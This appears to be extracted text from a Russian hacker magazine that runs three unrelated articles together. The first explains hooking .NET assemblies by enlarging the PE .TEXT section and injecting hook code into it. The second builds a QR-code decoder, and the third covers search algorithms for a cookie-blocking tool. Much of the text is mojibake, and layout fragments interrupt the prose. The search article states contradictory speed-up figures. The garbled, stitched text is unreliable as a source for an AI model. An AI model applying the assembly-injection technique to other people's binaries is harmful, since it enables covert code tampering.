передаваемый функции. RVA метода указывает на тело метода 
(который содержит IL-код) в секции .TEXT. 
Сигнатура метода определяет порядок передачи параметров (calling 
convention), какой тип будет на возврате из метода и т.д. 
Чтобы ты смог понять тему на уровне Дао, на сайте rsdn.ru выложе-
ны аж целых три статьи на тему метаданных в .NET, которые реко-
мендуются к обязательному изучению (http://www.rsdn.ru/article/
dotnet/refl.xml, …/phmetadata.xml, и …/dne.xml).

Как далеко можно зайти в лес?
До его середины — дальше лес уже кончается. Спешу обрадовать: 
половину леса мы уже прошли и постепенно продвигаемся к нашей 
главной цели — научиться перехватывать .NET-вызовы.
Рассмотрим вопрос исполнения .NET-приложений чисто практиче-
ски:
• Mscoree.dll (исполнительный движок среды .NET)
• Mscorwks.dll (where most of the stuff happens)
• Mscorjit.dll (та самая JIT)
• Mscorsn.dll (обрабатывает верификацию «строгих» имен)
• Mscorlib.dll (Base Class Library — библиотека базовых классов)
• Fushion.dll (assembly binding)
Любое .NET-приложение на точке входа имеет всего одну инструк-
цию. Эта инструкция реализует джамп на функцию _CorExeMain, 
которая располагается в таблице импорта. 
_CorExeMain, в свою очередь, ссылается на mscoree.dll, которая 
и начинает процесс загрузки и исполнения .NET-приложения. 
Mscoree.dll вызывает _CorExeMain из mscorwks.dll. 
Mscorwks.dll — это довольно большая библиотека, которая 
контролирует и обрабатывает процесс загрузки. Она загружа-

ет библиотеки базовых классов (BCL) и только затем вызывает 
точку входа Main() твоего .NET-приложения. Так как Main() в этом 
моменте все еще не декомпилировано, код Main() будет перебро-
шен обратно в mscorwks.dll для компиляции. Mscorwks.dll 
вызовет JITFunction, которая загрузит среду JIT из mscorjit.dll. 
Как только сгенерированный IL-код будет скомпилирован в 
native-код, контроль будет передан обратно в Main(), которая и 
начнет непосредственное исполнение.

Перехват? Легко!
Ну, наконец-то! Поговорим непосредственно о перехвате вызо-
вов в .NET. Мы привыкли воспринимать перехват классически, 
то есть таким образом, когда с целью его реализации или 
пишутся прокси-обертки, или же функция просто сплайсится. В 
случае с .NET все происходит по-другому.
Первое, что надо уяснить для осуществления перехвата — 
это то, что методы, которые мы хотим перехватить, хранятся 
в конце секции .TEXT. Это сделано, потому что секция .TEXT 
.NET’овской сборки довольно компактна — там недостаточно 
места для хранения всех перехваченных функций. 
Кто-то может спросить, почему нельзя просто изменить стан-
дартным общеизвестными способом (инструкции «CALL» и 
«JUMP» RVA-метода) на перехватываемый код, а затем просто 
перехватить код всех оригинальных функций? Причина проста 
— инструкции «CALL» и «JUMP» в MSIL-коде используют токе-
ны (сигнатуры) методов, а не смещения на них. Таким образом, 
если я хочу получить ссылку на код, который нужно перехва-
тить, это нужно будет сделать путем поиска токена метода. 
Итак, для решения нашей задачи перехвата нам нужно будет 
раздвинуть секцию .TEXT кода.
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Представляется, что единственный способ вызвать оригиналь-
ный код — создать другой метод. Есть две причины, по кото-
рым такой подход трудно, но все же осуществим. Во-первых, 
это требует включения новой записи в таблицу методов. И 
во-вторых, в таблице методов дополнительного места для этого 
просто нет.
Второе — нам нужно найти RVA метода в таблице MethodDef и 
перезаписать его так, чтобы он указывал на место расположе-
ния нового перехваченного метода. Для совершения этой опе-
рации нужно увеличить размер секции .TEXT для того, чтобы 
она смогла вместить все это хозяйство. При этом должны быть 
учтены и виртуальный, и raw-размер секции. Виртуальный раз-
мер — это актуальный, действительный размер секции, raw-
размер — это размер, округленный до выравнивания секции.
Виртуальные адреса и размеры нужны для того, чтобы знать, 
как исполняемый файл загружается в память.
Если, к примеру, секция .TEXT имеет виртуальный адрес 
0x1000, то по этому смещению в памяти запущенного процесса 
мы и найдем эту самую секцию .TEXT, которая туда была спрое-
цирована. Вместе с тем, raw-адрес секции может быть 0x200, 
а это значит, что секция .TEXT в самом файле расположена по 
смещению 0x200. 
Те секции, которые идут за .TEXT (секции данных и релоки), 
тоже нужно будет выровнять, потому что расширение секции 
.TEXT «наедет» на начало следующей секции, в результате чего 
файл просто не запустится. В конце всего этого действа обнов-
ляются PE-заголовки. Все, теперь наш перехваченный код 
вшит прямо в сборку, а другие методы остались нетронутыми. 

Колбасим код
Как ты, наверное, уже догадался, один из основных моментов, 
который позволит нам взять под контроль .NET-программулину, 
заключается в получении указателя на заголовок CLIHeader, 
который, в свою очередь, содержит такое поле, как Metadata. 
Оно-то нам и нужно:

ПОЛУЧИМ УКАЗАТЕЛЬ НА CLIHEADER C#

FileReader Input = new FileReader(AssemblyPath);

byte[] Buffer = Input.Read();

[skip...]

ImageBase = Marshal.AllocHGlobal(Buffer.Length * 2);

HeaderOffset = *((UInt32 *)(ImageBase + 60));

PE = (PEHeader *)(ImageBase + HeaderOffset);

HeaderOffset += (UInt32)sizeof(PEHeader);

StandardHeader = (PEStandardHeader *)(ImageBase +

  HeaderOffset);

RVA *CLIHeaderRVA = (RVA *)((byte *) StandardHeader 

 + 208);

SectionOffset = GetSectionOffset(CLIHeaderRVA->

 Address);

CLI = (CLIHeader *)(ImageBase + CLIHeaderRVA->Address

 - SectionOffset);

MetaDataHeader = (MetaDataHeader *)(ImageBase + 

 CLI->MetaData.Address - SectionOffset);

metadata = new MetaData(Function, ImageBase, 

 (Int32)CLI->MetaData.Address, MetaDataHeader, 

 CLI->MetaData.Size);

Далее будет ненамного сложнее, особенно для тех, кто знаком 
со способом внедрения в PE-файлы путем расширения его 
секций. 
Нам нужно будет записать в конец секции .TEXT пере-
хваченные функции и пересчитать все необходимые поля, 
связанные с секцией, чтобы дать ей возможность нор-
мально выполниться, после чего обновить необходимые 
PE-заголовки:

VirtualSize = TextSectionHeader->VirtualSize 

   + HookSize;

RawDataSize = VirtualSize;

if ((RawDataSize % FileAlignment) != 0) 

   RawDataSize += (FileAlignment - 

      (RawDataSize % FileAlignment));

StandardHeader->CodeSize = RawDataSize; 

HookAddress = TextSectionHeader->VirtualAddress 

   + TextSectionHeader->VirtualSize;

TextSectionHeader->VirtualSize = VirtualSize;

TextSectionHeader->RawDataSize = RawDataSize;

[skip...] 

StandardHeader->DataBase = DataSectionHeader->

   VirtualAddress;

StandardHeader->ImageSize = SectionHeader->

   VirtualAddress + SectionHeader->VirtualSize;

if ((StandardHeader->ImageSize % SectionAlignment) != 0)

   StandardHeader->ImageSize += 

     (SectionAlignment - 

     (StandardHeader->ImageSize % SectionAlignment));

Вот и все. К сожалению, те 75 тысяч строк кода, которые мне хоте-
лось бы выложить на страницы журнала, в него просто не влезут. 
Шутка :). Полностью рабочий код ты, как и всегда, сможешь найти 
на диске.

Заключение
Так уж получилось, что большая часть статьи — это описание 
принципов действия .NET’овской среды, о которых ты наверня-
ка наслышан. Но, как говорится, RTFM — и будет тебе счастье. 
Для того, чтобы полностью овладеть этой техникой и прослыть 
шаманом, тебе придется хорошенько потрудиться. Но это не 
страшно, ведь перехват .NET-приложений в твоем исполнении 
того стоит.z

Схема .NET исполняемого файла

Структура файла

Заголовок MSDOS

Заголовок PE

Заголовки PE-секций,
включая .NET-заголовок

Секция кода (.TEXT), 
включая Metadata

Секция данных (.DATA или .RSRC)

Секция релоков
(.RELOC или .RDATA)
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Повсеместно распространенным штрих-кодом сейчас уже 
никого не удивишь. В реальной жизни представление инфор-
мации в виде последовательности черно-белых полос стало 
привычным настолько же, насколько привычной стала покупка 
какого-либо товара в супермаркете. Кодирование информации о 
продукте (страна-изготовитель, непосредственно сам изготови-
тель товара, тип товара и т.п.) производится с целью упрощения 
дальнейшего ее извлечения автоматизированными средствами. 
Именно для этого хорошо подходит штриховой код, который в 
силу своей линейной структуры хорошо читается в горизонталь-
ном направлении.
Однако прогресс не стоит на месте, и в скором времени того объ-
ема информации, который способны перенести в себе линейные 
кодировки (до 30 цифровых символов), стало не хватать произ-
водителям бесконечно растущих объемов продукции. Инженеры 
стали задумываться о способах расширения объемов кодируемых 
данных и результатом их деятельности стало появление на свет 
двумерных штрих-кодов, но вот сфера их применения, в силу 
специфики, перестала ограничиваться исключительно «пометкой» 
различной продукции. Нынче представители семейства «матрич-
ных» активно используются в среде потребительской, и теперь им 

находят все более интересные способы применения. И чтобы при 
случайной встрече с ними ты не смотрел на них, как на картинку с 
ребусом, мы научимся распознавать их не только по внешним при-
знакам, но и напишем программный инструмент, который позво-
лит тебе определить содержание контейнера с данными, а также 
поговорим о нестандартных способах использования матричного 
кодирования.

Пришел. Увидел. Распознал.
Чтобы не получить в конечном счете «кашу» из определений, пред-
лагаю придерживаться общей классификации способов кодирова-
ния информации. Как уже было упомянуто в начале, разделяют два 
принципиально разных типа кодирования:
1) Линейный (одномерный). Наиболее распространенный предста-
витель —  (в народе называемый «штрихкодом»).
2) Двумерный. В свою очередь он делится на:
2.1) многоуровневый (stacked);
2.2) матричный (matrix).
Многоуровневые коды нам неинтересны, так как они представляют 
собой попросту «многослойный» линейный код. В свою очередь, 
матричные кодировки «упаковывают» информацию как по гори-
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 Â ñîâðåìåííîì ìèðå èíôîðìàöèÿ ìîæåò ïðåäñòàâëÿòüñÿ â ñàìûõ 
ïðè÷óäëèâûõ ôîðìàõ. Ïðè÷èíû äëÿ ýòîãî ðàçíûå è íå âñåãäà èìåþò 
ñòåãàíîãðàôè÷åñêóþ ïîäîïëåêó. Ó «÷åëîâåêà ðàçóìíîãî» áóêâàëüíî 
ïîÿâèëñÿ «òðåòèé ãëàç»: ìîáèëüíûé òåëåôîí ñòàë íåîòúåìëåìûì 
àòðèáóòîì êàæäîãî èç íàñ. À ÷òî èìåííî ñ åãî ïîìîùüþ ìû ïîïûòàåìñÿ 
ðàçãëÿäåòü, òû óçíàåøü èç ýòîé ñòàòüè.

Ïîãðóæåíèå 
â ìàòðèöó

 Денис  «c0n Difesa» Макрушин  http://twitter.com/difezza,  http://defec.ru
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зонтали, так и по вертикали, что позволяет радикально 
увеличить объем хранимых данных и, соответственно, 
снять ограничения на их тип — теперь становится воз-
можным кодирование текстовых данных.
Из всего многообразия матричных кодов нам инте-
ресен QR-код. Его повсеместная распространенность 
(одна только Япония использует эти кодировки с такой 
завидной популярностью, как, например, мы исполь-
зуем таблички с указанием названия улицы и номера 
дома) обусловлена прежде всего высокой степенью 
его распознаваемости и, как следствие, простотой рас-
познающего оборудования. Кстати, аббревиатура QR 
образована от англ. «quick response», что в переводе 
на великий и могучий означает «быстрый отклик».
Быстро «откликнуться» конкретный экземпляр 
QR-кодов может на самое непривередливое обору-
дование. Так, например, имея в наличии мобильный 
телефон или любой другой девайс с камерой практи-
чески любого разрешения, можно считать себя уже 
достаточно укомплектованным для охоты за QR-кодами. 
Если сфотографировать QR-картинку, прилагающуюся 
к статье (или открыть ее с диска и сделать банальный 
PrintScreen, но это выглядит менее эффектно), пропу-
стить фотографию через одну из программ распознава-
ния, то мы получим следующую строку:
Xakep Online: http://xakep.ru
Что делать с полученной информацией (перейти по 
ссылке на веб-ресурс, сохранить ссылочку в заметках 
или в контактах и т.п.), ты решишь самостоятельно.
Программы для распознавания QR-кодов доступны 
практически под любые платформы, однако боль-
шинство из них рассчитано на мобильную аудито-
рию. Неудивительно, ведь в подавляющем боль-
шинстве случаев, когда мы можем встретить «белый 
квадрат с черными точками», у нас под рукой не 
окажется ничего, кроме мобильного телефона. 
Большинство программ находятся в свободном 
доступе и являются бесплатными, однако мало кто 
из разработчиков делится исходными кодами своего 
ПО. Может быть, этот факт обусловлен отсутствием 
интереса конечного пользователя, а может быть, 
производитель не хочет раскрывать деталей алго-
ритма распознавания.
Так или иначе, мы самостоятельно разберемся с дета-
лями распознавания QR-кода программным способом, 
написав полноценное приложение, которое, в прямом 
смысле, позволит нам получать из картинки содержа-
щуюся в ней текстовую информацию.

Готовим инструменты
Разрабатывать приложение мы будем под платформу 
.NET на языке C#. Выбор данного инструментария 
основан не только на удобстве и скорости разработки 
приложения, но и на получении многоплатформенно-
го результата. По определению, скомпилированный 
под .NET Framework проект в силу ряда особенностей 
наделен свойствами кроссплатформенности. Плюс ко 
всему, если скомпилировать полученный проект с под-
держкой окружения .NET Compact Framework, мы полу-
чаем высокопроизводительное приложение, специ-
ально адаптированное для запуска на мобильных плат-
формах. Указанная совместимость без дополнительных 
трудозатрат объясняется следующей особенностью: 
Microsoft .NET Compact Framework представляет собой 
несколько урезанную версию .NET Framework, поэтому 
в большинстве случаев от разработчика приложений 
под мобильные устройства не требуется лишних дей-
ствий с исходными кодами для переноса функционала 
на десктопные платформы.
Если с выбором инструмента создания ПО все прак-
тически очевидно, то с инструментами для манипуля-
ций с QR-кодом дела обстоят несколько сложнее. В 
.NET Framework нет «нативных» средств для работы с 
матричными кодировками.
В процессе поиска сторонних библиотек для работы с 
матричными кодами я столкнулся с веб-ресурсом восточ-
ной компании, занимающейся профессиональной рабо-
той с изображениями и обработкой баркодов (двумерных 
кодов, к коим относится и QR). Результатами своей дея-
тельности в виде демонстрационных версий компонент 
для кодирования/декодирования ряда двумерных пред-
ставителей штрихкодов разработчики компании любезно 
делятся с посетителями. SDK доступно для скачивания и 
содержит библиотеки под разные платформы: Windows, 
*NIX, Windows Mobile, Symbian и iPhone (Mac OS). Для 
интересующей нас платформы Windows, а также для 
Windows Mobile SDK предоставляется вместе с динами-
ческой библиотекой (.dll), что позволяет легко использо-
вать его в проектах на .NET/VC/VB. Помимо манипуляций 
с QRCode библиотека также умеет работать с DataMatrix 
и PDF417. Так что если у тебя возникнет желание рас-
ширить свой кругозор и поиграться с другими типами 
кодирования, то все нижеописанные действия в общем 
случае подходят и для указанных кодировок.

Разбираем матрицу
Рассмотрим общую структуру приложения, которое, как 
предполагается, будет декодировать QR-код.
Первую и, пожалуй, самую большую часть исходного 

На диске присутству-
ют исходные коды 
рассмотренного 
в статье приложения 
со всеми необходи-
мыми библиотеками.

dvd

DVD

info

По данным Википе-
дии, максимальное 
количество симво-
лов, которое помеща-
ется в один QR-код:
• Цифры — 7089
• Цифры и буквы 
(включая кириллицу) 
— 4296
• Двоичный код — 
2953 байт
• Иероглифы — 1817

INFO

• http://www.partitek.
com/ — официальный 
веб-ресурс разработ-
чиков описанного 
в статье SDK.
• http://qrcoder.ru/ 
— сервис генерации 
QR-кодов.
• http://www.xakep.
ru/magazine/
xa/084/056/2.asp 
— статья «Жуки в 
полоску» о структуре 
штрих-кода.
• http://defec.ru — 
мой ресурс, где ты 
можешь задать во-
просы и поделиться 
идеями.

links

HTTP://WWW

Матричный код PDF417. О сложности его 
распознавания подручными средствами 
и говорить не приходитсяРезультат разбора пациента — строка 

«Xakep Online: http://xakep.ru»
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кода занимает описание основного программного класса: опреде-
ление констант, структурные секции, секции описания функций, 
предоставляемых сторонней библиотекой. Представление исхо-
дных данных в виде картинки описывает структура PTIMAGE.

Структура, описывающая параметры изображения

unsafe public struct PTIMAGE

{

  public int dwWidth;// øèðèíà èçîáðàæåíèÿ â ïèêñåëÿõ

  public int dwHeight;//âûñîòà èçîáðàæåíèÿ â ïèêñåëÿõ

  public byte* pBits;//óêàçàòåëü íà äàííûå èñõîäíîãî 

èçîáðàæåíèÿ

  public byte* pPalette;// óêàçàòåëü íà äàííûå î 

ïàëèòðå èçîáðàæåíèÿ (1,4,8 áèò)

  public short wBitsPerPixel; //÷èñëî áèò íà ïèêñåëü

}

SDK поддерживает большинство форматов файлов изображений. 
Учитывая тот факт, что большинство камер экспортируют снимки в 
наиболее распространенные форматы, проблем с несовместимо-
стью быть не должно.
Далее идет раздел описания функций, которые экспортируют 
библиотеки, входящие в состав SDK. Заострять внимание на их 
подключении мы не будем.
Следующим этапом будет описание параметров библиотеки деко-
дирования баркодов в структуре PTDECODEPARA:

Структура PTDECODEPARA используется для определения параме-

тров при декодировании баркода на изображении

public unsafe struct PTDECODEPARA

{

  public int dwStartX;// íà÷àëî êîîðäèíàòû X â ïèê-

ñåëÿõ â îêíå ïîèñêà èçîáðàæåíèé äëÿ äåêîäèðîâàíèÿ

  public int dwStartY; 

  public int dwEndX;

  public int dwEndY;

  public int dwMaxCount;//ìàêñèìàëüíîå êîëè÷åñòâî 

ñèìâîëîâ äëÿ ïîèñêà; åñëè çíà÷åíèå ðàâíî 0, òî èùåì 

âñå ñèìâîëû

};

Манипулируя со значением переменной dwMaxCount, мы полу-
чаем возможность управлять производительностью приложения, 
фокусируя наш «декодировщик» на конкретных областях исходного 

изображения и избегая функционирования «в холостую».
Следующая структура заполняется непосредственно после опреде-
ления области изображения, в которой находится баркод:

После декодирования структура PTBARCODEINFO содержит баркод 

с информацией

public unsafe struct PTBARCODEINFO

{

  /*êîîðäèíàòû ÷åòûðåõ óãëîâ áàðêîäà â ïèêñåëÿõ*/

  public int dwX1, dwY1;

  public int dwX2, dwY2;

  public int dwX3, dwY3;

  public int dwX4, dwY4;

  public byte* pData; //óêàçàòåëü íà áóôåð, êîòîðûé 

ñîäåðæèò äàííûå áàðêîäà

  public int dwDataLen; //äëèíà äàííûõ (â áàéòàõ) 

áàðêîäà

};

Если ты внимательно посмотришь на картинку с QR-кодом, то сразу 
заметишь три выделяющихся квадратных области — это ориентиры 
для средств распознавания, своего рода «указатель» программе на то, 
что среди прочего набора пикселей на картинке присутствует QR-код.
Главная функция нашего приложения проста до безобразия, поэто-
му в полном объеме приводить ее не будем, а сосредоточим вни-
мание на следующих инструкциях:

static void Main(string[] args)

{

  PtQRDecodeRegister("12345678901234567890");//

èñïîëüçîâàíèå êëþ÷à äåìîíñòðàöèîííîé âåðñèè

  PtInitImage(ref image); // èíèöèàëèçàöèÿ ñòðóêòóðû 

èçîáðàæåíèÿ

  …

  if (OpenFileDlg.FileName != "")

  {

    FileName = OpenFileDlg.FileName;

    DecodeQR();

  }

  …

}
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QR-код скрывает гораздо больше, чем может 
показаться на первый взгляд

Изображение-пациент, полученное с помощью 
мобильного телефона
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Как ты уже понял, непосредственно процесс распознавания скры-
вается в инструкциях функции DecodeQR(), которая после опреде-
ления области QR-кода передает инструкции обработчику баркода, 
а он, в свою очередь, демонстрирует пользователю информацию, 
содержащуюся в картинке:

static private void DecodeQR()

{

  …

  /*åñëè îïåðàöèè çàãðóçêè èçîáðàæåíèÿ è îïðåäåëåíèÿ 

íàëè÷èÿ â íåì áàðêîäà âûïîëíåíû óñïåøíî*/

  if (PtLoadImage(FileName, ref image, 0) == 

    PT_IMAGERW_SUCCESS)

  {

    if (PtQRDecode(ref image, ref DecodePara, 

        ref BarCodeInfo) != PT_QRDECODE_SUCCESS)

      MessageBox.Show("An error occured while 

rocognition ");

    else

      ShowBarCodeInfo(ref BarCodeInfo);//ïåðåäà÷à 

ïîëó÷åííîé ñòðóêòóðû ôóíêöèè-îáðàáîò÷èêó

  }

  …

}

//îïèñàíèå ôóíêöèè-îáðàáîò÷èêà, âîçâðàùàþùåé ñòðîêó 

QR-êîäà

static public unsafe void ShowBarCodeInfo(

  ref PTTOTALBARCODEINFO BarCodeInfo)

{

  if (BarCodeInfo.dwTotalCount <= 0)

  {

    MessageBox.Show("No barcode was found");

    return;

  }

  string str = "";

  //ñîâîêóïíîñòü îïåðàöèé ïîëó÷åíèÿ ñòðîêè

  { …

    str = str+Encoding.Default.GetString(byteArray);

    //Encoding.GetEncoding("GB2312").GetString

    str = str + "\n\n";

  }

  str = str + ‘\0’;

  MessageBox.Show(str);

}

Вроде бы результат достигнут. Однако легкий «краш-тест» получен-
ного приложения позволил выявить его сильные и слабые стороны.
• процесс распознавания не зависит от положения QR-кода на 
картинке;
• процесс распознавания не зависит от степени поворота QR-кода 
и его масштаба.
Однако с распознаванием кодов в 3D все несколько хуже: искаже-
ние в соотношении сторон QR-кода может негативно сказаться на 
качестве определения его содержимого.
В общем, можно сказать, что эта библиотека предоставляет разра-
ботчику широкие возможности для работы с матричными кодами. 
В ней имеются встроенные средства коррекции ошибок и восста-
новления поврежденных областей исходных изображений, а воз-
можности изменения параметров точности распознавания позво-
ляют программисту найти золотую середину в тандеме параметров 
«производительность/эффективность».

Перспективы .Decode()
Рамки применения QR-кода ограничиваются исключительно 
фантазией своего интегратора. Банальный обмен контактными 
данными (адреса сайтов на картинке в каком-либо общественном 
месте, эффектная демонстрация данных визитки на черно-белой 
карточке, реклама и объявления, приглашения и др.) на фоне 
массы других способов уже кажется, как минимум, неоригиналь-
ным.
Идея расширения видимой реальности с помощью подручных 
средств, коими являются мобильные телефоны, кажется уже не 
настолько далекой и требующей технического прогресса. 
А практичность данного вида представления информации для 
конечного потребителя заметна уже сейчас. Обладатель теле-
фона, интересующийся, например, меню какого-либо ресто-
рана (бара, кафе, памятником архитектуры или любым другим 
зданием, содержащим QR-код, который несет полезную инфор-
мацию), при наведении камерой на QR-область может озна-
комиться в реальном времени с меню, не посещая заведение. 
Или ознакомиться с расписанием маршрута проезжающего 
мимо общественного транспорта, содержащего «полезную кар-
тинку».
Альтернативное кодирование информации может оказаться полез-
ным в вещах, имеющих стеганографическую подоплеку. Например, 
QR-код может быть спрятан в каком-нибудь изображении и выле-
зать наружу при его обесцвечивании. Ну а информация, которая 
появится при его распознавании, конечно же, будет зашифрован-
ной. Поскольку стеганография — хорошо,  сочетание ее с крипто-
графией — всяко лучше.z

Наглядная демонстрация процесса распознавания 
QR-кода

Пример использования матричного кода 
в повседневной жизни
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ПРЕДСТАВИМ, ЧТО МЫ РАЗРАБАТЫВАЕМ УТИЛИТУ, КОТОРАЯ 
МОНИТОРИТ КУКИ БРАУЗЕРА, СВЕРЯЕТ ИХ СО СПИСКОМ В СВОЕМ 
БЛЭКЛИСТЕ И В СЛУЧАЕ СОВПАДЕНИЯ УДАЛЯЕТ ИХ. СВЕРЯТЬ МЫ 
БУДЕМ ПО ДОМЕНУ; ЕСЛИ КУК ПОСТАВЛЕН, НАПРИМЕР, САЙТОМ 
BAD-DOMAIN.COM, И ОН ЕСТЬ В НАШЕМ СПИСКЕ ПЛОХИХ ДОМЕ-
НОВ, ТО МЫ БЕСПОЩАДНО УДАЛЯЕМ ЕГО ИЗ ХРАНИЛИЩА.
Более того, все это нужно делать на лету, прямо во время работы 
пользователя с браузером. То есть все это должно происходить быстро 
и безболезненно. Особенностью реализации нашей программы явля-
ется то, что она не может определить, какой кукис уже проверен, а 
какой — нет. Утилита просто следит за хранилищем и в случае его 
обновления просто проверяет каждый домен на предмет вхождения 
его в блэклист.

Простое решение aka линейный 
поиск
Итак, мы садимся за написание программы и доходим до того места, 
где надо проверять вхождение кукиса в черный список. Не сильно 
напрягаясь, мы реализуем поиск домена в списке простым перебором, 
или, говоря языком профессионалов, линейным поиском.
Алгоритм линейного поиска заключается в следующем. Пусть мы 
имеем некоторое значение m и массив размерностью от 0 до n. Для 
того, чтобы проверить, имеется ли в массиве элемент со значением, 
равным m, мы просматриваем последовательно, начиная с нулевого 
индекса, каждую ячейку массива и сравниваем ее содержимое с m. 
Перебор прекращается, если мы найдем нужный нам элемент или 
достигнем конца массива. В коде это будет смотреться примерно так:

РЕАЛИЗАЦИЯ АЛГОРИТМА ЛИНЕЙНОГО ПОИСКА

int LinearSearch (int *array, 

   size_t arraySize, int key)

{

 for (size_t i = 0; i < arraySize; i++)

  if (array[i] == key)

   return array[i];

 // åñëè íè÷åãî íå íàøëè

 return -1;

}

Понятно, что в худшем случае нам потребуется n сравнений, чтобы 
проверить наличие домена в блэклисте. Таким образом, асимптоти-
ческая сложность алгоритма — O(n). Проверим, насколько быстро в 
реальных условиях работает наш поиск.
Черный список включает в себя несколько тысяч сайтов. В браузере, 

на котором мы тестим мониторинг и удаление, у нас всего несколько 
кукисов. Мы побродили по паре сайтов и теперь запускаем програм-
му, чтобы она проверяла плохие куки. Вроде бы все нормально: при 
заходе на очередной сайт программка сверяется со своим списком и в 
случае чего сигнализирует нам о заблокированном cookie.
Теперь мы решаем проверить чудо-утилиту в живой природе. Для 
этого запускаем рабочий браузер и начинаем бродить по Сети. 
Но происходит что-то странное — программа страшно тормозит. 
Сообщения о заблокированных кукисах появляются спустя несколько 
минут. Внимательно присмотревшись, мы понимаем, что в нашей 
программе для серфинга Сети несколько тысяч этих самых куков. А 
так как мы каждый раз последовательно прогоняем доменное имя по 
всему блэклисту, то в итоге мы получаем несколько миллионов срав-
нений на каждый апдейт хранилища интернет-печенек: например, 
если в черном списке у нас 3000 записей, а в браузере 3000 куков, то 
мы получим 3000*3000=9 000 000 сравнений. Теперь совершенно ясно, 
почему мы имеем такие задержки в обработке, тем более что ищем и 
сравниваем мы не числовые значения, а строковые, что тоже доволь-
но накладно по времени.

Бинарный поиск
Для ускорения работы программы нужно воспользоваться более 
быстрым алгоритмом. Им может быть алгоритм бинарного поиска. Его 
асимптотическая сложность равна O(log n). Применительно к нашей 
задаче в худшем случае мы получим около 10 431 сравнений (log(3000) 
* 3000 = 10431.4). Это примерно в 863 раза быстрее, чем предыдущий 
вариант. Неплохо, совсем неплохо! По сравнению с этим числом 
очередное ускорение на 20% каких-нибудь Opera или Google Chrome 
выглядит смешно. Но как же работает этот чудо-алгоритм?
Для начала следует отметить, что массив, по которому будет произво-
диться поиск, должен быть отсортирован. В нашем случае элементы 
должны быть упорядочены лексикографически, то есть aaa < aab < baa 
< bba < bbb < bbc < caa... Сортировку можно проводить один раз при 
старте программы или сразу хранить блэклист в правильном виде.
Сам алгоритм бинарного поиска работает следующим образом. На 
первой итерации исходный массив разделяется на две равные части. 
Значение, которое мы ищем, сравнивается с центральным элемен-
том массива. То есть, если массив с количеством элементов равным 
n мы поделили на две части, то центральный элемент будет иметь 
индекс n/2. Если искомое значение больше значения в выбранной 
ячейке массива, то следующий шаг цикла будет работать со второй 
половиной массива, если меньше — с первой. Выбрав нужную часть 
массива, мы ее опять делим пополам и продолжаем сравнение. Для 
большей наглядности советую взглянуть на код:

 В наши дни информация — самый ценный продукт, поэтому быстрый доступ к ней является 
залогом успеха. В этой статье мы обсудим основы успешного поиска информации — его алгорит-
мы.

Ïðîãðàììåðñêèå 
òèïñû è òðèêñû

Скоростные
алгоритмы
поиска
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Реализация алгоритма бинарного поиска

int CCookieRemover::lowerbound(const CStringArray& a,

  const int& n, const CString& t)

{

 int result;

 int l;

 int half;

 int first;

 int middle;

 l = n;

 first = 0;

 while(l>0)

 {

  half = l/2;

  middle = first+half;

  if( a[middle]<t )

  {

   first = middle+1;

   l = l-half-1;

  }

  else

  {

   l = half;

  }

 }

 result = first;

 return result;

}

С каждой итерацией мы все сильнее сокращаем область поиска. Цикл 
завершается, когда будет найден элемент с максимально близким 
значением к переменной, которую мы пытаемся найти в массиве. По 
завершению достаточно выполнить простое сравнение и проверить, 
нашелся ли нужный элемент или нет.
Как говорилось выше, скорость бинарного поиска примерно в 10 000 
раз выше скорости линейного поиска. На практике, запустив нашу 
утилиту на рабочем браузере, мы практически не замечаем задержек. 
Сообщения о блокировке тех или иных куков появляются в считанные 
доли секунды, и ждать по несколько минут уже не приходится.

Другие алгоритмы поиска
Помимо линейного и бинарного поиска существует также троичный 
(тернарный) алгоритм поиска. Метод предназначен для поиска мак-
симумов или минимумов функции, которая сначала строго возраста-
ет, а затем строго убывает, либо наоборот. Алгоритм делит массив на 
три части и определяет отсутствие экстремума в первой или послед-
ней трети отрезка. После этого поиск повторяется на оставшихся 
двух частях. Помимо этого существует множество алгоритмов, кото-
рые оптимизированы для работы на специальных структурах данных. 

Хорошая книга об алгоритмах. По делу и без воды Дональд Кнут — автор  книги «Искусство
 программирования»
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Даже упомянутый выше бинарный поиск требует, чтобы исходный 
массив был отсортирован. Например, нашу задачу можно было бы 
решить с помощью двоичного дерева поиска. По сути, это обычное 
бинарное дерево, но с дополнительными свойствами. Оба подде-
рева, и левое, и правое, должны являться двоичными деревьями 
поиска. Кроме того, у всех узлов левого поддерева узла X значения 
ключей должны быть меньше значения ключа самого узла X, а у пра-
вого поддерева — больше или равны. Обычно каждый узел дерева 
состоит из записей вида {data, left, right}. data — данные сопостав-
ленные с узлом, left и right — ссылки на левый и правый дочерние 
узлы. Очень часто для более высокой степени оптимизации в состав 
записи включают еще и ссылку на родительский узел. Данные data 
обязательно должны обладать ключом, на котором определены 
операции сравнения. Основным преимуществом двоичного дерева 
поиска является высокая эффективность операций поиска и сорти-
ровки. Например, чтобы найти узел с ключом K в дереве T надо 
выполнить следующие действия:

Алгоритм поиска в двоичном дереве

1. Åñëè äåðåâî ïóñòî, òî ñ÷èòàåì, ÷òî óçåë íå íàéäåí, 

è îñòàíàâëèâàåìñÿ;

2. Åñëè íåò, òî ñðàâíèâàåì K ñî çíà÷åíèåì êëþ÷à êîð-

íåâîãî óçëà X:

2.1. Åñëè K = X, âîçâðàùàåì ññûëêó íà ýòîò óçåë è 

îñòàíàâëèâàåìñÿ;

2.2. Åñëè K > X, ðåêóðñèâíî èùåì êëþ÷ K â ïðàâîì 

ïîääåðåâå Ò;

2.3. Åñëè K < X, ðåêóðñèâíî èùåì êëþ÷ K â ëåâîì ïîä-

äåðåâå Ò.

Помимо поиска можно также производить добавление элемента в 
дерево и удаление его оттуда. Добавление в дерево не представляет 
особой сложности, а вот удаление узла требует небольших умственных 
усилий. Допустим, нам надо удалить узел с ключом K в дереве T с кор-
нем n, тогда алгоритм будет примерно следующим:

Алгоритм удаления узла из двоичного дерева поиска

1.Åñëè äåðåâî T ïóñòî, îñòàíàâëèâàåìñÿ;

2.Åñëè íåò, òî ñðàâíèâàåì K ñ êëþ÷îì X êîðíåâîãî óçëà 

n;

2.1. Åñëè K > X, ðåêóðñèâíî óäàëÿåì K èç ïðàâîãî 

ïîääåðåâà Ò;

2.2. Åñëè K < X, ðåêóðñèâíî óäàëÿåì K èç ëåâîãî ïîä-

äåðåâà Ò;

2.3. Åñëè K = X, òî íàäî ðàññìàòðèâàòü òðè ñëó÷àÿ:

2.3.1. Åñëè îáîèõ ïîòîìêîâ íåò, òî óäàëÿåì òåêóùèé 

óçåë è îáíóëÿåì ññûëêó íà íåãî ó ðîäèòåëüñêîãî óçëà;

